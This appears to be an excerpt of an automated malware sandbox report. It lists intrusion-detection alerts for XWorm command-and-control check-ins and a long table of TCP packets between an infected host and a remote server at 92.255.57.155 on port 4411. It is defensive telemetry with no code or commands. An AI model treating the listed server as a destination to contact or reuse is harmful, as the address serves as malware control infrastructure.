2024-12-18T08:17:52.660907+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:52.971915+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:53.042473+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:53.046102+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:53.133993+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:53.277222+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:53.279175+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:53.444801+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:53.445717+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:54.639300+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:54.641289+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:55.248426+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:55.311781+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:55.625013+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:55.684996+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:55.913635+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:55.924147+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:56.104662+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:56.234945+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:56.283098+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:56.335800+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:56.404695+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:56.570069+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:56.604705+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:56.717128+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:56.950326+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:57.998586+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:57.999588+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:58.237203+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:58.239592+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:58.429825+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:58.663864+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:58.664836+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:59.260084+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:59.262856+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:59.549193+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:59.967979+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:18:00.013906+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:18:00.158963+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:18:00.324751+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:18:00.350050+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:18:05.990968+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 18, 2024 08:15:28.613266945 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:15:28.732817888 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:15:28.732911110 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:15:28.868993998 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:15:28.988531113 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:15:42.786506891 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:15:42.905996084 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:15:43.333388090 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:15:43.377144098 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:15:43.392539978 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:15:43.512253046 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:15:56.726151943 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:15:56.845694065 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:15:57.158905029 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:15:57.163921118 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:15:57.287734985 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:15:58.442835093 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:15:58.486578941 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:10.582201958 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:10.702124119 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:11.015125036 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:11.017028093 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:11.136558056 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:24.440109968 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:24.559638977 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:24.874898911 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:24.877590895 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:24.997315884 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:28.597086906 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:28.643058062 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:29.971666098 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:30.091110945 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:30.404356956 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:30.407636881 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:30.527044058 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:30.611993074 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:30.731575966 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:31.044514894 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:31.046397924 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:31.166193008 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:31.252614975 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:31.372155905 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:31.596435070 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:31.686005116 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:31.715950012 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:31.717077017 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:31.836745977 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:31.862080097 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:31.981614113 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:32.036315918 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:32.038280010 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:32.157780886 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:32.322472095 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:32.324559927 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:32.444396019 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:32.612062931 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:32.731609106 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:33.044857979 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:33.046684980 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:33.166282892 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:33.166340113 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:33.285896063 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:33.285955906 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:33.405553102 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:33.647092104 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:33.649039984 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:33.768639088 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:33.768691063 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:33.838110924 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:33.878757000 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:33.888191938 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:33.888262033 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:33.959872961 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:34.007788897 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:34.007859945 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:34.127446890 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:34.256990910 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:34.258519888 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:34.378185034 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:34.378310919 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:34.448062897 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:34.448152065 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:34.497962952 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:34.498083115 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:34.567820072 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:34.617769957 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:34.865787029 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:34.871488094 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:34.991089106 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:35.056778908 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:35.059297085 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:35.181488991 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:35.205790043 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:35.325376987 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:35.325438976 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:35.444937944 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:35.455991030 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:35.575536013 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:35.575592041 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:35.657782078 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:35.657845974 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:35.695229053 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:35.695370913 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:35.777293921 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:35.814837933 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:35.814896107 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:35.848676920 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:35.920715094 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:35.968422890 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:35.968475103 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:36.081371069 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:36.081444979 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:36.145221949 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:36.145277023 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:36.159528971 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:36.202136993 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:36.204297066 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:36.264780998 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:36.265950918 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:36.271574020 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:36.365291119 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:36.365897894 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:36.387437105 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:36.456221104 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:36.456345081 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:36.486013889 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:36.486224890 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:36.576065063 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:36.577898979 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:36.578466892 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:36.647036076 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:36.647150993 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:36.753511906 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:36.753921032 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:36.766841888 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:36.767179966 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:36.849848032 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:36.888806105 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:36.891962051 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:37.057356119 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:37.057913065 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:37.064619064 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:37.177623034 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:37.177709103 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:37.202970982 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:37.203093052 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:37.322653055 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:37.322714090 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:37.428365946 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:37.428447008 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:37.489238024 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:37.489293098 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:37.548140049 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:37.608999968 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:37.726485968 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:37.728260994 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:37.853058100 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:37.853123903 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:37.960366964 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:37.972670078 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:37.972727060 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:38.039016962 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:38.092809916 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:38.092863083 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:38.151416063 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:38.151484966 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:38.212554932 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:38.213953018 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:38.271049023 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:38.335226059 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:38.335300922 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:38.404742956 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:38.454798937 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:38.457943916 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:38.577426910 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:38.648315907 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:38.650360107 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:38.769979000 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:38.839426994 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:38.841831923 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:38.961338043 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:38.961349964 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:38.965833902 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:39.085392952 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:39.159224987 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:39.278708935 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:39.278760910 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:39.398232937 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:39.607222080 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:39.637499094 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:39.756989002 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:39.846527100 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:39.856187105 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:39.975732088 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:40.221287966 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:40.340758085 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:40.377831936 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:40.497636080 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:40.756258965 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:40.757913113 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:40.877414942 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:40.947964907 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:40.949831009 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:41.069844961 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:41.238039017 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:41.357629061 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:41.377814054 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:41.497307062 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:41.671236038 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:41.673227072 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:41.792910099 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:41.792967081 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:41.913671017 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:41.938129902 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:41.939615965 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:42.101320028 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:42.101381063 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:42.222027063 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:42.223191977 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:42.275763035 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:42.342668056 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:42.342736959 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:42.413501024 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:42.462851048 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:42.462929964 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:42.584371090 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:42.604480028 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:42.629843950 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:42.773736954 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:42.795679092 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:42.797982931 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:42.817853928 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:42.981204033 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:42.981352091 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:43.100883007 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:43.440444946 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:43.559945107 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:43.560015917 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:43.679569006 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:43.679646015 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:43.799226999 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:43.799295902 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:43.873445034 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:43.873539925 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:43.918833017 CET	4411	49708	92.255.57.155	192.168.2.8
Dec 18, 2024 08:16:43.918894053 CET	49708	4411	192.168.2.8	92.255.57.155
Dec 18, 2024 08:16:43.993103981 CET	4411	49708	92.255.57.155	192.168.2.8
